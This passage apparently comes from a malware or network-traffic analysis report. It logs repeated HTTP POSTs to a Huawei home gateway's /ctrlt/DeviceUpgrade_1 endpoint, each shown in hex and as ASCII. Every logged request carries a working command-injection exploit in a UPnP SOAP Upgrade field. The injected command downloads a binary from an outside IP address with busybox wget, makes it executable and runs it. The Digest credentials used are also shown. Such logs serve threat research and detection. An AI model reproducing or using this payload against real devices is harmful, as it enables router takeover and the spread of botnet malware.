6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 